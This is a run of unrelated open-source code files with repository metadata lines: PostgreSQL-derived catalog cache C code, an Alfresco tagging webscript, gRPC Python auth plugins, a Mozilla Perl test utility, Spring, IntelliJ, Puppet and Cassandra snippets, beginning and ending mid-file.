* with aset.c's CLOBBER_FREED_MEMORY option, this provides a good test
* to catch references to already-released catcache entries.
*/
void
ReleaseCatCache(HeapTuple tuple)
{
CatCTup *ct = (CatCTup *) (((char *) tuple) -
offsetof(CatCTup, tuple));
/* Safety checks to ensure we were handed a cache entry */
Assert(ct->ct_magic == CT_MAGIC);
Assert(ct->refcount > 0);
ct->refcount--;
ResourceOwnerForgetCatCacheRef(CurrentResourceOwner, &ct->tuple);
if (
#ifndef CATCACHE_FORCE_RELEASE
ct->dead &&
#endif
ct->refcount == 0 &&
(ct->c_list == NULL || ct->c_list->refcount == 0))
CatCacheRemoveCTup(ct->my_cache, ct);
}
/*
* SearchCatCacheList
*
* Generate a list of all tuples matching a partial key (that is,
* a key specifying just the first K of the cache's N key columns).
*
* The caller must not modify the list object or the pointed-to tuples,
* and must call ReleaseCatCacheList() when done with the list.
*/
CatCList *
SearchCatCacheList(CatCache *cache,
int nkeys,
Datum v1,
Datum v2,
Datum v3,
Datum v4)
{
ScanKeyData cur_skey[CATCACHE_MAXKEYS];
uint32 lHashValue;
Dlelem *elt;
CatCList *cl;
CatCTup *ct;
List *volatile ctlist;
ListCell *ctlist_item;
int nmembers;
bool ordered;
HeapTuple ntp;
MemoryContext oldcxt;
int i;
/*
* one-time startup overhead for each cache
*/
if (cache->cc_tupdesc == NULL)
CatalogCacheInitializeCache(cache);
Assert(nkeys > 0 && nkeys < cache->cc_nkeys);
#ifdef CATCACHE_STATS
cache->cc_lsearches++;
#endif
/*
* initialize the search key information
*/
memcpy(cur_skey, cache->cc_skey, sizeof(cur_skey));
cur_skey[0].sk_argument = v1;
cur_skey[1].sk_argument = v2;
cur_skey[2].sk_argument = v3;
cur_skey[3].sk_argument = v4;
/*
* compute a hash value of the given keys for faster search. We don't
* presently divide the CatCList items into buckets, but this still lets
* us skip non-matching items quickly most of the time.
*/
lHashValue = CatalogCacheComputeHashValue(cache, nkeys, cur_skey);
/*
* scan the items until we find a match or exhaust our list
*/
for (elt = DLGetHead(&cache->cc_lists);
elt;
elt = DLGetSucc(elt))
{
bool res;
cl = (CatCList *) DLE_VAL(elt);
if (cl->dead)
continue; /* ignore dead entries */
if (cl->hash_value != lHashValue)
continue; /* quickly skip entry if wrong hash val */
/*
* see if the cached list matches our key.
*/
if (cl->nkeys != nkeys)
continue;
HeapKeyTest(&cl->tuple,
cache->cc_tupdesc,
nkeys,
cur_skey,
&res);
if (!res)
continue;
/*
* We found a matching list. Move the list to the front of the
* cache's list-of-lists, to speed subsequent searches. (We do not
* move the members to the fronts of their hashbucket lists, however,
* since there's no point in that unless they are searched for
* individually.)
*/
DLMoveToFront(&cl->cache_elem);
/* Bump the list's refcount and return it */
ResourceOwnerEnlargeCatCacheListRefs(CurrentResourceOwner);
cl->refcount++;
ResourceOwnerRememberCatCacheListRef(CurrentResourceOwner, cl);
CACHE2_elog(DEBUG2, "SearchCatCacheList(%s): found list",
cache->cc_relname);
#ifdef CATCACHE_STATS
cache->cc_lhits++;
#endif
return cl;
}
/*
* List was not found in cache, so we have to build it by reading the
* relation. For each matching tuple found in the relation, use an
* existing cache entry if possible, else build a new one.
*
* We have to bump the member refcounts temporarily to ensure they won't
* get dropped from the cache while loading other members. We use a PG_TRY
* block to ensure we can undo those refcounts if we get an error before
* we finish constructing the CatCList.
*/
ResourceOwnerEnlargeCatCacheListRefs(CurrentResourceOwner);
ctlist = NIL;
PG_TRY();
{
Relation relation;
SysScanDesc scandesc;
relation = heap_open(cache->cc_reloid, AccessShareLock);
scandesc = systable_beginscan(relation,
cache->cc_indexoid,
IndexScanOK(cache, cur_skey),
SnapshotNow,
nkeys,
cur_skey);
/* The list will be ordered iff we are doing an index scan */
ordered = (scandesc->irel != NULL);
while (HeapTupleIsValid(ntp = systable_getnext(scandesc)))
{
uint32 hashValue;
Index hashIndex;
/*
* See if there's an entry for this tuple already.
*/
ct = NULL;
hashValue = CatalogCacheComputeTupleHashValue(cache, ntp);
hashIndex = HASH_INDEX(hashValue, cache->cc_nbuckets);
for (elt = DLGetHead(&cache->cc_bucket[hashIndex]);
elt;
elt = DLGetSucc(elt))
{
ct = (CatCTup *) DLE_VAL(elt);
if (ct->dead || ct->negative)
continue; /* ignore dead and negative entries */
if (ct->hash_value != hashValue)
continue; /* quickly skip entry if wrong hash val */
if (!ItemPointerEquals(&(ct->tuple.t_self), &(ntp->t_self)))
continue; /* not same tuple */
/*
* Found a match, but can't use it if it belongs to another
* list already
*/
if (ct->c_list)
continue;
break; /* A-OK */
}
if (elt == NULL)
{
/* We didn't find a usable entry, so make a new one */
ct = CatalogCacheCreateEntry(cache, ntp,
hashValue, hashIndex,
false);
}
/* Careful here: add entry to ctlist, then bump its refcount */
/* This way leaves state correct if lappend runs out of memory */
ctlist = lappend(ctlist, ct);
ct->refcount++;
}
systable_endscan(scandesc);
heap_close(relation, AccessShareLock);
/*
* Now we can build the CatCList entry. First we need a dummy tuple
* containing the key values...
*/
ntp = build_dummy_tuple(cache, nkeys, cur_skey);
oldcxt = MemoryContextSwitchTo(CacheMemoryContext);
nmembers = list_length(ctlist);
cl = (CatCList *)
palloc(sizeof(CatCList) + nmembers * sizeof(CatCTup *));
heap_copytuple_with_tuple(ntp, &cl->tuple);
MemoryContextSwitchTo(oldcxt);
heap_freetuple(ntp);
/*
* We are now past the last thing that could trigger an elog before we
* have finished building the CatCList and remembering it in the
* resource owner. So it's OK to fall out of the PG_TRY, and indeed
* we'd better do so before we start marking the members as belonging
* to the list.
*/
}
PG_CATCH();
{
foreach(ctlist_item, ctlist)
{
ct = (CatCTup *) lfirst(ctlist_item);
Assert(ct->c_list == NULL);
Assert(ct->refcount > 0);
ct->refcount--;
if (
#ifndef CATCACHE_FORCE_RELEASE
ct->dead &&
#endif
ct->refcount == 0 &&
(ct->c_list == NULL || ct->c_list->refcount == 0))
CatCacheRemoveCTup(cache, ct);
}
PG_RE_THROW();
}
PG_END_TRY();
cl->cl_magic = CL_MAGIC;
cl->my_cache = cache;
DLInitElem(&cl->cache_elem, cl);
cl->refcount = 0; /* for the moment */
cl->dead = false;
cl->ordered = ordered;
cl->nkeys = nkeys;
cl->hash_value = lHashValue;
cl->n_members = nmembers;
i = 0;
foreach(ctlist_item, ctlist)
{
cl->members[i++] = ct = (CatCTup *) lfirst(ctlist_item);
Assert(ct->c_list == NULL);
ct->c_list = cl;
/* release the temporary refcount on the member */
Assert(ct->refcount > 0);
ct->refcount--;
/* mark list dead if any members already dead */
if (ct->dead)
cl->dead = true;
}
Assert(i == nmembers);
DLAddHead(&cache->cc_lists, &cl->cache_elem);
/* Finally, bump the list's refcount and return it */
cl->refcount++;
ResourceOwnerRememberCatCacheListRef(CurrentResourceOwner, cl);
CACHE3_elog(DEBUG2, "SearchCatCacheList(%s): made list of %d members",
cache->cc_relname, nmembers);
return cl;
}
/*
* ReleaseCatCacheList
*
* Decrement the reference count of a catcache list.
*/
void
ReleaseCatCacheList(CatCList *list)
{
/* Safety checks to ensure we were handed a cache entry */
Assert(list->cl_magic == CL_MAGIC);
Assert(list->refcount > 0);
list->refcount--;
ResourceOwnerForgetCatCacheListRef(CurrentResourceOwner, list);
if (
#ifndef CATCACHE_FORCE_RELEASE
list->dead &&
#endif
list->refcount == 0)
CatCacheRemoveCList(list->my_cache, list);
}
/*
* CatalogCacheCreateEntry
* Create a new CatCTup entry, copying the given HeapTuple and other
* supplied data into it. The new entry initially has refcount 0.
*/
static CatCTup *
CatalogCacheCreateEntry(CatCache *cache, HeapTuple ntp,
uint32 hashValue, Index hashIndex, bool negative)
{
CatCTup *ct;
MemoryContext oldcxt;
/*
* Allocate CatCTup header in cache memory, and copy the tuple there too.
*/
oldcxt = MemoryContextSwitchTo(CacheMemoryContext);
ct = (CatCTup *) palloc(sizeof(CatCTup));
heap_copytuple_with_tuple(ntp, &ct->tuple);
MemoryContextSwitchTo(oldcxt);
/*
* Finish initializing the CatCTup header, and add it to the cache's
* linked list and counts.
*/
ct->ct_magic = CT_MAGIC;
ct->my_cache = cache;
DLInitElem(&ct->cache_elem, (void *) ct);
ct->c_list = NULL;
ct->refcount = 0; /* for the moment */
ct->dead = false;
ct->negative = negative;
ct->hash_value = hashValue;
DLAddHead(&cache->cc_bucket[hashIndex], &ct->cache_elem);
cache->cc_ntup++;
CCacheHdr->ch_ntup++;
return ct;
}
/*
* build_dummy_tuple
* Generate a palloc'd HeapTuple that contains the specified key
* columns, and NULLs for other columns.
*
* This is used to store the keys for negative cache entries and CatCList
* entries, which don't have real tuples associated with them.
*/
static HeapTuple
build_dummy_tuple(CatCache *cache, int nkeys, ScanKey skeys)
{
HeapTuple ntp;
TupleDesc tupDesc = cache->cc_tupdesc;
Datum *values;
bool *nulls;
Oid tupOid = InvalidOid;
NameData tempNames[4];
int i;
values = (Datum *) palloc(tupDesc->natts * sizeof(Datum));
nulls = (bool *) palloc(tupDesc->natts * sizeof(bool));
memset(values, 0, tupDesc->natts * sizeof(Datum));
memset(nulls, true, tupDesc->natts * sizeof(bool));
for (i = 0; i < nkeys; i++)
{
int attindex = cache->cc_key[i];
Datum keyval = skeys[i].sk_argument;
if (attindex > 0)
{
/*
* Here we must be careful in case the caller passed a C string
* where a NAME is wanted: convert the given argument to a
* correctly padded NAME. Otherwise the memcpy() done in
* heap_form_tuple could fall off the end of memory.
*/
if (cache->cc_isname[i])
{
Name newval = &tempNames[i];
namestrcpy(newval, DatumGetCString(keyval));
keyval = NameGetDatum(newval);
}
values[attindex - 1] = keyval;
nulls[attindex - 1] = false;
}
else
{
Assert(attindex == ObjectIdAttributeNumber);
tupOid = DatumGetObjectId(keyval);
}
}
ntp = heap_form_tuple(tupDesc, values, nulls);
if (tupOid != InvalidOid)
HeapTupleSetOid(ntp, tupOid);
pfree(values);
pfree(nulls);
return ntp;
}
/*
* PrepareToInvalidateCacheTuple()
*
* This is part of a rather subtle chain of events, so pay attention:
*
* When a tuple is inserted or deleted, it cannot be flushed from the
* catcaches immediately, for reasons explained at the top of cache/inval.c.
* Instead we have to add entry(s) for the tuple to a list of pending tuple
* invalidations that will be done at the end of the command or transaction.
*
* The lists of tuples that need to be flushed are kept by inval.c. This
* routine is a helper routine for inval.c. Given a tuple belonging to
* the specified relation, find all catcaches it could be in, compute the
* correct hash value for each such catcache, and call the specified function
* to record the cache id, hash value, and tuple ItemPointer in inval.c's
* lists. CatalogCacheIdInvalidate will be called later, if appropriate,
* using the recorded information.
*
* Note that it is irrelevant whether the given tuple is actually loaded
* into the catcache at the moment. Even if it's not there now, it might
* be by the end of the command, or there might be a matching negative entry
* to flush --- or other backends' caches might have such entries --- so
* we have to make list entries to flush it later.
*
* Also note that it's not an error if there are no catcaches for the
* specified relation. inval.c doesn't know exactly which rels have
* catcaches --- it will call this routine for any tuple that's in a
* system relation.
*/
void
PrepareToInvalidateCacheTuple(Relation relation,
HeapTuple tuple,
SysCacheInvalidateAction action,
void (*function) (int, uint32, ItemPointer, Oid, SysCacheInvalidateAction))
{
CatCache *ccp;
Oid reloid;
CACHE1_elog(DEBUG2, "PrepareToInvalidateCacheTuple: called");
/*
* sanity checks
*/
Assert(RelationIsValid(relation));
Assert(HeapTupleIsValid(tuple));
Assert(function != NULL);
Assert(PointerIsValid(function));
Assert(CCacheHdr != NULL);
reloid = RelationGetRelid(relation);
/* ----------------
* for each cache
* if the cache contains tuples from the specified relation
* compute the tuple's hash value in this cache,
* and call the passed function to register the information.
* ----------------
*/
for (ccp = CCacheHdr->ch_caches; ccp; ccp = ccp->cc_next)
{
if (ccp->cc_reloid != reloid)
continue;
/* Just in case cache hasn't finished initialization yet... */
if (ccp->cc_tupdesc == NULL)
CatalogCacheInitializeCache(ccp);
(*function) (ccp->id,
CatalogCacheComputeTupleHashValue(ccp, tuple),
&tuple->t_self,
ccp->cc_relisshared ? (Oid) 0 : MyDatabaseId,
action);
}
}
/*
* Subroutines for warning about reference leaks. These are exported so
* that resowner.c can call them.
*/
void
PrintCatCacheLeakWarning(HeapTuple tuple, const char *resOwnerName)
{
CatCTup *ct = (CatCTup *) (((char *) tuple) -
offsetof(CatCTup, tuple));
/* Safety check to ensure we were handed a cache entry */
Assert(ct->ct_magic == CT_MAGIC);
elog(WARNING, "cache reference leak: cache %s (%d), tuple %u/%u (oid %d) has count %d, resowner '%s'",
ct->my_cache->cc_relname, ct->my_cache->id,
ItemPointerGetBlockNumber(&(tuple->t_self)),
ItemPointerGetOffsetNumber(&(tuple->t_self)),
tuple->t_data ? HeapTupleGetOid(tuple) : 0,
ct->refcount,
resOwnerName);
}
void
PrintCatCacheListLeakWarning(CatCList *list, const char *resOwnerName)
{
elog(WARNING, "cache reference leak: cache %s (%d), list %p has count %d, resowner '%s'",
list->my_cache->cc_relname, list->my_cache->id,
list, list->refcount, resOwnerName);
}
| lavjain/incubator-hawq | src/backend/utils/cache/catcache.c | C | apache-2.0 | 45,289 |
function main()
{
// Get the store reference
var store = url.templateArgs.store_type + "://" + url.templateArgs.store_id;
// Get the details of the tag
if (json.has("name") == false || json.get("name").length == 0)
{
status.setCode(status.STATUS_BAD_REQUEST, "Name missing when creating tag");
return;
}
var tagName = json.get("name");
// See if the tag already exists
var tag = taggingService.getTag(store, tagName),
tagExists = (tag != null);
if (!tagExists)
{
tag = taggingService.createTag(store, tagName);
if (tag == null)
{
status.setCode(status.STATUS_INTERNAL_SERVER_ERROR, "error.cannotCreateTag");
return;
}
}
// Put the created tag into the model
model.tag = tag;
model.tagExists = tagExists;
}
main(); | Alfresco/alfresco-ms-office-plugin | webscripts/org/alfresco/repository/tagging/tag.post.json.js | JavaScript | apache-2.0 | 832 |
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta content="text/html; charset=UTF-8" http-equiv="CONTENT-TYPE" />
<link rel="stylesheet" href="../../book.css" type="text/css" />
<title>Description Tab</title>
</head>
<body>
<h1>Description Tab</h1>
<p><img src="../../../images/reference/Property_Sheet_01.png" alt="Description tab" /></p>
<p><b>Description tab</b></p>
<p>
The <strong>Description</strong> tab allows you to change the process name and its namespace URI. All
namespaces should follow the W3C recommendation (<a href="http://www.w3.org/2005/07/13-nsuri">http://www.w3.org/2005/07/13-nsuri</a>.
</p>
</body>
</html>
| Drifftr/devstudio-tooling-bps | plugins/org.eclipse.bpel.help/html/Reference/UniqueProperties/descriptionTab.html | HTML | apache-2.0 | 809 |
// This package is generated by client-gen with arguments: --clientset-name=release_1_3 --clientset-path=github.com/openshift/origin/pkg/build/client/clientset_generated --go-header-file=hack/boilerplate.txt --input=[api/v1] --input-base=github.com/openshift/origin/pkg/build/api --output-base=../../..
// Package fake has the automatically generated clients.
package fake
| danwinship/origin | pkg/build/client/clientset_generated/release_1_3/typed/core/v1/fake/doc.go | GO | apache-2.0 | 374 |
/*
* Copyright 2012 SURFnet bv, The Netherlands
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.surfnet.oaaas.repository;
import java.util.List;
import org.springframework.data.jpa.repository.Query;
import org.springframework.data.repository.CrudRepository;
import org.springframework.stereotype.Repository;
import org.springframework.transaction.annotation.Transactional;
import org.surfnet.oaaas.model.AccessToken;
import org.surfnet.oaaas.model.Client;
@Repository
public interface AccessTokenRepository extends CrudRepository<AccessToken, Long> {
AccessToken findByToken(String token);
AccessToken findByTokenAndClient(String token, Client client);
AccessToken findByRefreshToken(String refreshToken);
List<AccessToken> findByResourceOwnerIdAndClient(String resourceOwnerId, Client client);
List<AccessToken> findByResourceOwnerId(String resourceOwnerId);
AccessToken findByIdAndResourceOwnerId(Long id, String owner);
@Query(value = "select count(distinct resourceOwnerId) from accesstoken where client_id = ?1", nativeQuery = true)
Number countByUniqueResourceOwnerIdAndClientId(long clientId);
@Transactional
void delete(AccessToken token);
@Query(value="select * from accesstoken where expires > 0 and expires < ?1", nativeQuery = true)
List<AccessToken> findByMaxExpires(long expiresBoundary);
}
| biancini/oauth2-apis | apis-authorization-server/src/main/java/org/surfnet/oaaas/repository/AccessTokenRepository.java | Java | apache-2.0 | 1,874 |
/*
* Copyright 2000-2016 JetBrains s.r.o.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.intellij.openapi.vcs.changes.patch.tool;
import com.intellij.diff.contents.DocumentContent;
import com.intellij.diff.requests.DiffRequest;
import com.intellij.openapi.util.NlsContexts;
import com.intellij.openapi.vcs.changes.patch.AppliedTextPatch;
import org.jetbrains.annotations.NonNls;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
public class ApplyPatchDiffRequest extends DiffRequest implements ApplyPatchRequest {
@NotNull private final DocumentContent myResultContent;
@NotNull private final AppliedTextPatch myAppliedPatch;
@NotNull private final @NonNls String myLocalContent;
@Nullable private final @NlsContexts.DialogTitle String myWindowTitle;
@NotNull private final @NlsContexts.Label String myLocalTitle;
@NotNull private final @NlsContexts.Label String myResultTitle;
@NotNull private final @NlsContexts.Label String myPatchTitle;
public ApplyPatchDiffRequest(@NotNull DocumentContent resultContent,
@NotNull AppliedTextPatch appliedPatch,
@NotNull @NonNls String localContent,
@Nullable @NlsContexts.DialogTitle String windowTitle,
@NotNull @NlsContexts.Label String localTitle,
@NotNull @NlsContexts.Label String resultTitle,
@NotNull @NlsContexts.Label String patchTitle) {
myResultContent = resultContent;
myAppliedPatch = appliedPatch;
myLocalContent = localContent;
myWindowTitle = windowTitle;
myLocalTitle = localTitle;
myResultTitle = resultTitle;
myPatchTitle = patchTitle;
}
@Override
@NotNull
public DocumentContent getResultContent() {
return myResultContent;
}
@Override
@NotNull
public String getLocalContent() {
return myLocalContent;
}
@Override
@NotNull
public AppliedTextPatch getPatch() {
return myAppliedPatch;
}
@Nullable
@Override
public String getTitle() {
return myWindowTitle;
}
@Override
@NotNull
public String getLocalTitle() {
return myLocalTitle;
}
@Override
@NotNull
public String getResultTitle() {
return myResultTitle;
}
@Override
@NotNull
public String getPatchTitle() {
return myPatchTitle;
}
}
| siosio/intellij-community | platform/vcs-impl/src/com/intellij/openapi/vcs/changes/patch/tool/ApplyPatchDiffRequest.java | Java | apache-2.0 | 2,929 |
def main():
with open('file.txt'):
print(42) | smmribeiro/intellij-community | python/testData/quickFixes/PyRemoveUnusedLocalQuickFixTest/withOneTarget_after.py | Python | apache-2.0 | 56 |
#!/usr/bin/perl -w
# -*- Mode: Perl; tab-width: 4; indent-tabs-mode: nil; -*-
# ***** BEGIN LICENSE BLOCK *****
# Version: MPL 1.1/GPL 2.0/LGPL 2.1
#
# The contents of this file are subject to the Mozilla Public License Version
# 1.1 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
# http://www.mozilla.org/MPL/
#
# Software distributed under the License is distributed on an "AS IS" basis,
# WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
# for the specific language governing rights and limitations under the
# License.
#
# The Original Code is Mozilla JavaScript Testing Utilities
#
# The Initial Developer of the Original Code is
# Mozilla Corporation.
# Portions created by the Initial Developer are Copyright (C) 2008
# the Initial Developer. All Rights Reserved.
#
# Contributor(s): Bob Clary <bclary@bclary.com>
#
# Alternatively, the contents of this file may be used under the terms of
# either the GNU General Public License Version 2 or later (the "GPL"), or
# the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
# in which case the provisions of the GPL or the LGPL are applicable instead
# of those above. If you wish to allow use of your version of this file only
# under the terms of either the GPL or the LGPL, and not to allow others to
# use your version of this file under the terms of the MPL, indicate your
# decision by deleting the provisions above and replace them with the notice
# and other provisions required by the GPL or the LGPL. If you do not delete
# the provisions above, a recipient may use your version of this file under
# the terms of any one of the MPL, the GPL or the LGPL.
#
# ***** END LICENSE BLOCK *****
# usage: pattern-expander.pl knownfailures > knownfailures.expanded
#
# pattern-expander.pl reads the specified knownfailures file and
# writes to stdout an expanded set of failures where the wildcards
# ".*" are replaced with the set of possible values specified in the
# universe.data file.
use lib $ENV{TEST_DIR} . "/tests/mozilla.org/js";
use Patterns;
package Patterns;
processfile();
sub processfile
{
my ($i, $j);
while (<ARGV>) {
chomp;
$record = {};
my ($test_id, $test_branch, $test_repo, $test_buildtype, $test_type, $test_os, $test_kernel, $test_processortype, $test_memory, $test_timezone, $test_options, $test_result, $test_exitstatus, $test_description) = $_ =~
/TEST_ID=([^,]*), TEST_BRANCH=([^,]*), TEST_REPO=([^,]*), TEST_BUILDTYPE=([^,]*), TEST_TYPE=([^,]*), TEST_OS=([^,]*), TEST_KERNEL=([^,]*), TEST_PROCESSORTYPE=([^,]*), TEST_MEMORY=([^,]*), TEST_TIMEZONE=([^,]*), TEST_OPTIONS=([^,]*), TEST_RESULT=([^,]*), TEST_EXITSTATUS=([^,]*), TEST_DESCRIPTION=(.*)/;
$record->{TEST_ID} = $test_id;
$record->{TEST_BRANCH} = $test_branch;
$record->{TEST_REPO} = $test_repo;
$record->{TEST_BUILDTYPE} = $test_buildtype;
$record->{TEST_TYPE} = $test_type;
$record->{TEST_OS} = $test_os;
$record->{TEST_KERNEL} = $test_kernel;
$record->{TEST_PROCESSORTYPE} = $test_processortype;
$record->{TEST_MEMORY} = $test_memory;
$record->{TEST_TIMEZONE} = $test_timezone;
$record->{TEST_OPTIONS} = $test_options;
$record->{TEST_RESULT} = $test_result;
$record->{TEST_EXITSTATUS} = $test_exitstatus;
$record->{TEST_DESCRIPTION} = $test_description;
if ($DEBUG) {
dbg("processfile: \$_=$_");
}
my @list1 = ();
my @list2 = ();
my $iuniversefield;
my $universefield;
$item1 = copyreference($record);
if ($DEBUG) {
dbg("processfile: check copyreference");
dbg("processfile: \$record=" . recordtostring($record));
dbg("processfile: \$item1=" . recordtostring($item1));
}
push @list1, ($item1);
for ($iuniversefield = 0; $iuniversefield < @universefields; $iuniversefield++)
{
$universefield = $universefields[$iuniversefield];
if ($DEBUG) {
dbg("processfile: \$universefields[$iuniversefield]=$universefield, \$record->{$universefield}=$record->{$universefield}");
}
for ($j = 0; $j < @list1; $j++)
{
$item1 = $list1[$j];
if ($DEBUG) {
dbg("processfile: item1 \$list1[$j]=" . recordtostring($item1));
}
# create a reference to a copy of the hash referenced by $item1
if ($item1->{$universefield} ne '.*')
{
if ($DEBUG) {
dbg("processfile: literal value");
}
$item2 = copyreference($item1);
if ($DEBUG) {
dbg("processfile: check copyreference");
dbg("processfile: \$item1=" . recordtostring($item1));
dbg("processfile: \$item2=" . recordtostring($item2));
dbg("processfile: pushing existing record to list 2: " . recordtostring($item2));
}
push @list2, ($item2);
}
else
{
if ($DEBUG) {
dbg("processfile: wildcard value");
}
$keyfielduniversekey = getuniversekey($item1, $universefield);
@keyfielduniverse = getuniverse($keyfielduniversekey, $universefield);
if ($DEBUG) {
dbg("processfile: \$keyfielduniversekey=$keyfielduniversekey, \@keyfielduniverse=" . join(',', @keyfielduniverse));
}
for ($i = 0; $i < @keyfielduniverse; $i++)
{
$item2 = copyreference($item1);
if ($DEBUG) {
dbg("processfile: check copyreference");
dbg("processfile: \$item1=" . recordtostring($item1));
dbg("processfile: \$item2=" . recordtostring($item2));
}
$item2->{$universefield} = $keyfielduniverse[$i];
if ($DEBUG) {
dbg("processfile: pushing new record to list 2 " . recordtostring($item2));
}
push @list2, ($item2);
}
}
if ($DEBUG) {
for ($i = 0; $i < @list1; $i++)
{
dbg("processfile: \$list1[$i]=" . recordtostring($list1[$i]));
}
for ($i = 0; $i < @list2; $i++)
{
dbg("processfile: \$list2[$i]=" . recordtostring($list2[$i]));
}
}
}
@list1 = @list2;
@list2 = ();
}
for ($j = 0; $j < @list1; $j++)
{
$item1 = $list1[$j];
push @records, ($item1);
}
}
@records = sort sortrecords @records;
dumprecords();
}
| glycerine/vj | src/js-1.8.5/js/src/tests/pattern-expander.pl | Perl | apache-2.0 | 7,393 |
# Copyright 2016 gRPC authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""GRPCAuthMetadataPlugins for standard authentication."""
import inspect
from concurrent import futures
import grpc
def _sign_request(callback, token, error):
metadata = (('authorization', 'Bearer {}'.format(token)),)
callback(metadata, error)
def _create_get_token_callback(callback):
def get_token_callback(future):
try:
access_token = future.result().access_token
except Exception as exception: # pylint: disable=broad-except
_sign_request(callback, None, exception)
else:
_sign_request(callback, access_token, None)
return get_token_callback
class GoogleCallCredentials(grpc.AuthMetadataPlugin):
"""Metadata wrapper for GoogleCredentials from the oauth2client library."""
def __init__(self, credentials):
self._credentials = credentials
self._pool = futures.ThreadPoolExecutor(max_workers=1)
# Hack to determine if these are JWT creds and we need to pass
# additional_claims when getting a token
self._is_jwt = 'additional_claims' in inspect.getargspec(
credentials.get_access_token).args
def __call__(self, context, callback):
# MetadataPlugins cannot block (see grpc.beta.interfaces.py)
if self._is_jwt:
future = self._pool.submit(
self._credentials.get_access_token,
additional_claims={'aud': context.service_url})
else:
future = self._pool.submit(self._credentials.get_access_token)
future.add_done_callback(_create_get_token_callback(callback))
def __del__(self):
self._pool.shutdown(wait=False)
class AccessTokenCallCredentials(grpc.AuthMetadataPlugin):
"""Metadata wrapper for raw access token credentials."""
def __init__(self, access_token):
self._access_token = access_token
def __call__(self, context, callback):
_sign_request(callback, self._access_token, None)
| quizlet/grpc | src/python/grpcio/grpc/_auth.py | Python | apache-2.0 | 2,543 |
install_opts = options.merge( { :dev_builds_repos => ["PC1"] })
repo_config_dir = 'tmp/repo_configs'
case test_config[:puppetserver_install_type]
when :package
step "Setup Puppet Server repositories." do
package_build_version = ENV['PACKAGE_BUILD_VERSION']
if package_build_version
install_puppetlabs_dev_repo master, 'puppetserver', package_build_version,
repo_config_dir, install_opts
else
abort("Environment variable PACKAGE_BUILD_VERSION required for package installs!")
end
end
end
puppet_build_version = test_config[:puppet_build_version]
if puppet_build_version
confine_block :except, :platform => ['windows'] do
step "Setup Puppet Labs Dev Repositories." do
hosts.each do |host|
install_puppetlabs_dev_repo host, 'puppet-agent', puppet_build_version,
repo_config_dir, install_opts
end
end
end
end
| erikPrime/puppet-server | acceptance/suites/pre_suite/foss/30_install_dev_repos.rb | Ruby | apache-2.0 | 941 |
/*
* Copyright 2005-2013 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.ldap.core;
import java.io.StringReader;
/**
* A factory for creating DnParser instances. The actual implementation of
* DnParser is generated using javacc and should not be constructed directly.
*
* @author Mattias Hellborg Arthursson
* @deprecated {@link DistinguishedName} and associated classes are deprecated as of 2.0.
*/
public final class DefaultDnParserFactory {
/**
* Not to be instantiated.
*/
private DefaultDnParserFactory() {
}
/**
* Create a new DnParser instance.
*
* @param string
* the DN String to be parsed.
* @return a new DnParser instance for parsing the supplied DN string.
*/
public static DnParser createDnParser(String string) {
return new DnParserImpl(new StringReader(string));
}
}
| eddumelendez/spring-ldap | core/src/main/java/org/springframework/ldap/core/DefaultDnParserFactory.java | Java | apache-2.0 | 1,499 |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.cassandra.schema;
import java.util.Arrays;
import java.util.List;
import java.util.Set;
import java.util.UUID;
import java.util.regex.Pattern;
import com.google.common.collect.ImmutableSet;
import org.apache.cassandra.db.Digest;
public final class SchemaConstants
{
public static final Pattern PATTERN_WORD_CHARS = Pattern.compile("\\w+");
public static final String SYSTEM_KEYSPACE_NAME = "system";
public static final String SCHEMA_KEYSPACE_NAME = "system_schema";
public static final String TRACE_KEYSPACE_NAME = "system_traces";
public static final String AUTH_KEYSPACE_NAME = "system_auth";
public static final String DISTRIBUTED_KEYSPACE_NAME = "system_distributed";
/* system keyspace names (the ones with LocalStrategy replication strategy) */
public static final Set<String> LOCAL_SYSTEM_KEYSPACE_NAMES =
ImmutableSet.of(SYSTEM_KEYSPACE_NAME, SCHEMA_KEYSPACE_NAME);
/* replicate system keyspace names (the ones with a "true" replication strategy) */
